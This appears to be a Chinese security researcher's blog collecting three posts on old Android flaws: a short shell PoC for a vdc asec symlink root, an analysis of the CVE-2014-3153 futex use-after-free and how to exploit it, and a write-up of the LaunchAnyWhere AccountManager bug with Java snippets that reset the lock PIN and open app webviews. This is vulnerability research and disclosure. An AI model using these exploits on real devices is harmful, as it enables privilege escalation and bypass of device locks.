Retme的未来道具研究所

世界線の収束には、逆らえない

国庆过后刷刷存在感,很老的方法了

http://blog.cassidiancybersecurity.com/post/2014/06/Android-4.4.3%2C-or-fixing-an-old-local-root


只是这哥们没贴PoC,于是我贴一个:


ln -s  /sbin /data/local/tmp/test1
vdc asec create ../../data/local/tmp/test1 4 ext4 none 2000 false
ln -s  /data/local/tmp/adbd /sbin/adbd
chmod 755 /data/local/tmp/adbd
echo 'kill adbd by yourself,then you get a root shell'


update  2015年1月6日:

@jp_acg 同学私信提醒我说 /data/local/tmp/adbd不存在,我补充一下:

实际上这个adbd是一个修改过的adbd,常规的adbd启动之后会自己降权,所以这里需要一个不降权的adbd


http://androidxref.com/5.0.0_r2/xref/system/core/adb/adb.c#should_drop_privileges

直接让should_drop_privileges  return 0,然后重新编译即可

adbd重启之后再用adb连接,即可得到一个 init_shell 的root权限


这是两个多月前的一篇笔记,一直没有贴出来。而现在霓虹小兄弟已经把逆向出的代码扔出来很久了。但是写这篇笔记的时候除了towelroot V1以外啥也没有,所以~~当时其实我很快就掌握了利用的细节,主要是一开始我就没想逆向towelroot,直接靠trace定位了利用方法。


转载请注明 http://retme.net/index.php/2014/09/19/cve-2014-3153.html

膜拜geohot~以下是当时的笔记:


一,首先看补丁

https://github.com/torvalds/linux/commit/e9c243a5a6de0be8e584c604d353412584b592f8

    if (requeue_pi) {
       /*
 +      * Requeue PI only works on two distinct uaddrs. This
 +      * check is only valid for private futexes. See below.
 +      */
 +     if (uaddr1 == uaddr2)
 +         return -EINVAL;
 +
 +     /*

补丁要求两个 futex地址不能相同。如果相同会发生什么呢?



二,相关数据结构

实际上每个 futex进入内核中会计算一个 key( get_futex_key)并且被插入哈希表futext_queues, futext_queues的结构如下:


static struct futex_hash_bucket futex_queues[1<<FUTEX_HASHBITS];

static struct futex_hash_bucket *hash_futex(union futex_key *key)
{
    u32 hash = jhash2((u32*)&key->both.word,
             (sizeof(key->both.word)+sizeof(key->both.ptr))/4,
             key->both.offset);
    return &futex_queues[hash & ((1 << FUTEX_HASHBITS)-1)];
}

futex_hash_bucket是哈希表中的一个节点,结构如下

struct futex_hash_bucket {
    spinlock_t lock;
    struct plist_head chain;
};

其内部也是一个自旋锁,和一个队列。 chain 是一个优先级队列,等待线程的优先级越高,该线程在队列中越靠前。



plist_head链表中的成员是futex_q,代表了一个 futex的内核对象



/**
 * struct futex_q - The hashed futex queue entry, one per waiting task
 * @list:     priority-sorted list of tasks waiting on this futex
 * @task:     the task waiting on the futex
 * @lock_ptr:     the hash bucket lock
 * @key:      the key the futex is hashed on
 * @pi_state:     optional priority inheritance state
 * @rt_waiter:       rt_waiter storage for use with requeue_pi
 * @requeue_pi_key:  the requeue_pi target futex key
 * @bitset:       bitset for the optional bitmasked wakeup
 *
 * We use this hashed waitqueue, instead of a normal wait_queue_t, so
 * we can wake only the relevant ones (hashed queues may be shared).
 *
 * A futex_q has a woken state, just like tasks have TASK_RUNNING.
 * It is considered woken when plist_node_empty(&q->list) || q->lock_ptr == 0.
 * The order of wakeup is always to make the first condition true, then
 * the second.
 *
 * PI futexes are typically woken before they are removed from the hash list via
 * the rt_mutex code. See unqueue_me_pi().
 */
struct futex_q {
    struct plist_node list;

    struct task_struct *task;
    spinlock_t *lock_ptr;
    union futex_key key;
    struct futex_pi_state *pi_state;
    struct rt_mutex_waiter *rt_waiter;
    union futex_key *requeue_pi_key;
    u32 bitset;
};

看到了里面与 PI有关的东西,现在还不明白 ,一会儿通过几个函数了解一下



现在只要知道 futex 有 PI 和 non-PI之分, PI futex的 futex_q结构会有额外的几个成员, futex-> pi_state->pi_mutex会是一个rt_mutex ,而 rt_mutex_waiter是等待他的一个结构,通常分配在等待线程的栈上


三 函数执行流程
1. futex_lock_pi

实际上会将一个栈上的 rt_mutex_waiter插入到链表futex_q.pi_state->pi_mutex 中,这是一个rt_mutex的结构

调用流程: futex_lock_pi->rt_mutex_timed_lock-> rt_mutex_timed_fastlock->rt_mutex_slowlock->task_blocks_on_rt_mutex

debug_rt_mutex_init_waiter(&waiter);  rt_waiter 是rt_mutex_slowlock 在栈上的临时分配的结构

随后futex_lock_pi->rt_mutex_timed_lock-> rt_mutex_timed_fastlock->rt_mutex_slowlock->__rt_mutex_slowlock

将进入无限等待,除非被唤醒


static int __sched
__rt_mutex_slowlock(struct rt_mutex *lock, int state,
           struct hrtimer_sleeper *timeout,
           struct rt_mutex_waiter *waiter)
{
    int ret = 0;

    for (;;) {
       /* Try to acquire the lock: */
       if (try_to_take_rt_mutex(lock, current, waiter))
           break;

       /*
        * TASK_INTERRUPTIBLE checks for signals and
        * timeout. Ignored otherwise.
        */
       if (unlikely(state == TASK_INTERRUPTIBLE)) {
           /* Signal pending? */
           if (signal_pending(current))
              ret = -EINTR;
           if (timeout && !timeout->task)
              ret = -ETIMEDOUT;
           if (ret)
              break;
       }

2.futex_wait_requeue_pi



    /*
     * The waiter is allocated on our stack, manipulated by the requeue
     * code while we sleep on uaddr.
     */
    debug_rt_mutex_init_waiter(&rt_waiter);// 临时分配一个rt_waiter,与 futex_lock_pi类似
    rt_waiter.task = NULL;

    ret = get_futex_key(uaddr2, flags & FLAGS_SHARED, &key2, VERIFY_WRITE);
    if (unlikely(ret != 0))
       goto out;

    q.bitset = bitset;
    q.rt_waiter = &rt_waiter;   //for use with requeue_pi
    q.requeue_pi_key = &key2;  //requeue pi target key

    if(is_my_process){
       printk("[%d] futex_wait_requeue_pi:Prepare to wait on uaddr.\n",
           task_pid_vnr(current_task));

       futex_dump_futex_q(&q);
    }
    /*
     * Prepare to wait on uaddr. On success, increments q.key (key1) ref
     * count.
     *//等待从addr1 被唤醒
    ret = futex_wait_setup(uaddr, val, flags, &q, &hb);
    if (ret)
       goto out_key2;

    if(is_my_process){
       printk("[%d] futex_wait_requeue_pi:before Queue the futex_q.\n",
           task_pid_vnr(current_task));

       futex_dump_futex_q(&q);
    }

    /* Queue the futex_q, drop the hb lock, wait for wakeup. */
    futex_wait_queue_me(hb, &q, to);   //将本线程插入futex2的队列中,这里是将 rt_waiter插入去等待

3  futex_requeue_pi(futex1 ,futex2 )会将futex1上面的 waiter唤醒并插入 futex2

如果这两个值相等,那么唤醒 futex1上的 waiter会使得 futex_wait_queue_me线程被唤醒,但是这个值又会被插入到 futex2中



由于futex_wait_requeue_pi的线程被唤醒并退出,那么 futex2的 rt_mutex队列上面便挂了一个已经被释放掉的 rt_mutex_waiter,这就是内核栈空间的use after free


四。如何利用?

futex_wait_requeue_pi所在的线程内核栈出现的 UAF问题,该线程利用 sendmmsg可以对内核堆栈进行控制

我们选择控制 rt_mutex_waiter结构中,这个结构有两个链表, UAF之后链表将被我们控制

struct rt_mutex_waiter {
    struct plist_node list_entry;
    struct plist_node pi_list_entry;
    struct task_struct   *task;
    struct rt_mutex      *lock;
}

于是我们调用 futex_lock_pi会走到task_blocks_on_rt_mutex 触发一个plist_add操作,造成内核栈信息泄漏,并且给了我们一次机会进行任意地址写



我们选择写内核栈上的 thread_info->addr_limit,一个栈上面的地址将会被写入到 addr_limit,导致我们有了从用户态写内核态的方法



这相当于造出了 CVE-2013-6282,读写任意地址



注意:该方法不能退出进程,否则释放被利用的线程将让内核崩溃



首发至http://blogs.360.cn/360mobile/2014/08/19/launchanywhere-google-bug-7699048/

前几天在试用gitx这个软件时偶然看到Google修复了一个漏洞,并记为Google Bug 7699048。这是一个AccountManagerService的漏洞,利用这个漏洞,我们可以任意调起任意未导出的Activity,突破进程间组件访问隔离的限制。这个漏洞影响2.3 ~ 4.3的安卓系统。

一.关于AccountManagerService

AccountManagerService同样也是系统服务之一,暴露给开发者的的接口是AccountManager。该服务用于管理用户各种网络账号。这使得一些应用可以获取用户网络账号的token,并且使用token调用一些网络服务。很多应用都提供了账号授权功能,比如微信、支付宝、邮件Google服务等等。关于AccountManager的使用,可以参考官方文档和网络上的开发资料。[1][2]

由于各家账户的登陆方法和token获取机制肯定存在差异,所以AccountManager的身份验证也被设计成可插件化的形式:由提供账号相关的应用去实现账号认证。提供账号的应用可以自己实现一套登陆UI,接收用户名和密码;请求自己的认证服务器返回一个token;将token缓存给AccountManager。

可以从“设置-> 添加账户”中看到系统内可提供网络账户的应用:


如果想要出现在这个页面里,应用需要声明一个账户认证服务AuthenticationService:

<service
       android:name=".authenticator.AuthenticationService"
       android:exported="true">
            <intent-filter>
                <action
                    android:name="android.accounts.AccountAuthenticator" />
            </intent-filter>
            <meta-data
                android:name="android.accounts.AccountAuthenticator"
                android:resource="@xml/authenticator" />
</service>

并且在服务中提供一个Binder


    public IBinder onBind(Intent intent) {
//class Authenticator extends AbstractAccountAuthenticator
        return mAuthenticator.getIBinder();
    }

关于这个类的实现方法可以参考官方sample [3]



二、漏洞原理



普通应用(记为AppA)去请求添加某类账户时,会调用AccountManager.addAccount,然后AccountManager会去查找提供账号的应用(记为AppB)的Authenticator类,调用Authenticator. addAccount方法;AppA再根据AppB返回的Intent去调起AppB的账户登录界面。



这个过程如图所示:



我们可以将这个流程转化为一个比较简单的事实:

1. AppA请求添加一个特定类型的网络账号
2. 系统查询到AppB可以提供一个该类型的网络账号服务,系统向AppB发起请求
3. AppB返回了一个intent给系统,系统把intent转发给appA
4. AccountManagerResponse在AppA的进程空间内调用 startActivity(intent)调起一个Activity,AccountManagerResponse是FrameWork中的代码, AppA对这一调用毫不知情。

这种设计的本意是,AccountManagerService帮助AppA查找到AppB账号登陆页面,并呼起这个登陆页面。而问题在于,AppB可以任意指定这个intent所指向的组件,AppA将在不知情的情况下由AccountManagerResponse调用起了一个Activity. 如果AppA是一个system权限应用,比如Settings,那么AppA能够调用起任意AppB指定的未导出Activity.

Step 3中AppB返回bundle的代码:


public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
            String authTokenType, String[] requiredFeatures, Bundle options) {
        Intent intent = new Intent();
        intent.setComponent(new ComponentName(
                "com.trick.trick ",
                   " com.trick. trick.AnyWhereActivity"));
        intent.setAction(Intent.ACTION_RUN);
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        final Bundle bundle = new Bundle();
        bundle.putParcelable(AccountManager.KEY_INTENT, intent);
        return bundle;
    }

Step 4  AccountManager在appA进程空间中startActivity的代码

/** Handles the responses from the AccountManager */
private class Response extends IAccountManagerResponse.Stub {
    public void onResult(Bundle bundle) {
        Intent intent = bundle.getParcelable(KEY_INTENT);
        if (intent != null && mActivity != null) {
          // since the user provided an Activity we will silently start intents
          // that we see
          mActivity.startActivity(intent);
            // leave the Future running to wait for the real response to this request
            } else if (bundle.getBoolean("retry")) {
                ...


三.如何利用

上文已经提到过,如果假设AppA是Settings,AppB是攻击程序。那么只要能让Settings触发addAcount的操作,就能够让AppB launchAnyWhere。而问题是,怎么才能让Settings触发添加账户呢?如果从“设置->添加账户”的页面去触发,则需要用户手工点击才能触发,这样攻击的成功率将大大降低,因为一般用户是很少从这里添加账户的,用户往往习惯直接从应用本身登陆。

不过现在就放弃还太早,其实Settings早已经给我们留下触发接口。只要我们调用com.android.settings.accounts.AddAccountSettings,并给Intent带上特定的参数,即可让Settings触发launchAnyWhere:

Intent intent1 = new Intent();
intent1.setComponent(new ComponentName(
        "com.android.settings",
        "com.android.settings.accounts.AddAccountSettings"));
intent1.setAction(Intent.ACTION_RUN);
intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {Constants.ACCOUNT_TYPE};

intent1.putExtra("account_types", authTypes);
AuthenticatorActivity.this.startActivity(intent1);

这个过程如图Step 0所示:


四、应用场景

主要的攻击对象还是应用中未导出的Activity,特别是包含了一些intenExtra的Activity。下面只是举一些简单例子。这个漏洞的危害取决于你想攻击哪个Activity,还是有一定利用空间的。比如攻击很多app未导出的webview,结合FakeID或者JavascriptInterface这类的浏览器漏洞就能造成代码注入执行。

1. 重置pin码
绕过pin码认证界面,直接重置手机系统pin码


Intent intent = new Intent();
intent.setComponent(new ComponentName(
        "com.android.settings",
          "com.android.settings.ChooseLockPassword"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("confirm_credentials",false);
result.putParcelable(AccountManager.KEY_INTENT, intent);



2. 调用微信内置浏览器:


    public final static String HTML2 =
    "<script language=\"javascript\" type=\"text/javascript\">" +
    "window.location.href=\"http://blogs.360.cn\"; " +
"</script>";

    @Override
    public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
            String authTokenType, String[] requiredFeatures, Bundle options) {
        Intent intent = new Intent();
         intent.setComponent(new ComponentName(
                "com.tencent.mm",
                   "com.tencent.mm.plugin.webview.ui.tools.ContactQZoneWebView"));
        intent.setAction(Intent.ACTION_RUN);
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        intent.putExtra("data", HTML2);
        intent.putExtra("baseurl", "http://www.g.cn");
        intent.putExtra("title", "Account bug");
        final Bundle bundle = new Bundle();
        bundle.putParcelable(AccountManager.KEY_INTENT, intent);
        return bundle;
}


3. 调用支付宝钱包内置浏览器:




Intent intent = new Intent();
        intent.setAction(Intent.ACTION_RUN);
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        intent.putExtra("url", "http://drops.wooyun.org/webview.html");
        intent.putExtra("title", "Account bug");
        final Bundle bundle = new Bundle();
        bundle.putParcelable(AccountManager.KEY_INTENT, intent);
        return bundle;






四、漏洞修复

安卓4.4已经修复了这个漏洞[4].检查了Step3中返回的intent所指向的Activity和AppB是否是有相同签名的。避免了luanchAnyWhere的可能。


+        @Override
         public void onResult(Bundle result) {
             mNumResults++;
-            if (result != null && !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) {
+            Intent intent = null;
+            if (result != null
+                    && (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
+                /*
+                 * The Authenticator API allows third party authenticators to
+                 * supply arbitrary intents to other apps that they can run,
+                 * this can be very bad when those apps are in the system like
+                 * the System Settings.
+                 */
+                PackageManager pm = mContext.getPackageManager();
+                ResolveInfo resolveInfo = pm.resolveActivity(intent, 0);
+                int targetUid = resolveInfo.activityInfo.applicationInfo.uid;
+                int authenticatorUid = Binder.getCallingUid();
+                if (PackageManager.SIGNATURE_MATCH !=
+                        pm.checkSignatures(authenticatorUid, targetUid)) {
+                    throw new SecurityException(
+                            "Activity to be started with KEY_INTENT must " +
+                            "share Authenticator's signatures");
+                }
+            }
+            if (result != null
+                    && !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) {


利用代码以及编译好的poc:

https://github.com/retme7/launchAnyWhere_poc_by_retme_bug_7699048


参考

[1] API reference     http://developer.android.com/reference/android/accounts/AccountManager.html

[2] Write your own Android Authenticator       http://udinic.wordpress.com/2013/04/24/write-your-own-android-authenticator/

[3] http://androidxref.com/4.3_r2.1/xref/development/samples/SampleSyncAdapter/src/com/example/android/samplesync/authenticator/Authenticator.java

[4] https://android.googlesource.com/platform/frameworks/base/+/5bab9da%5E%21/#F0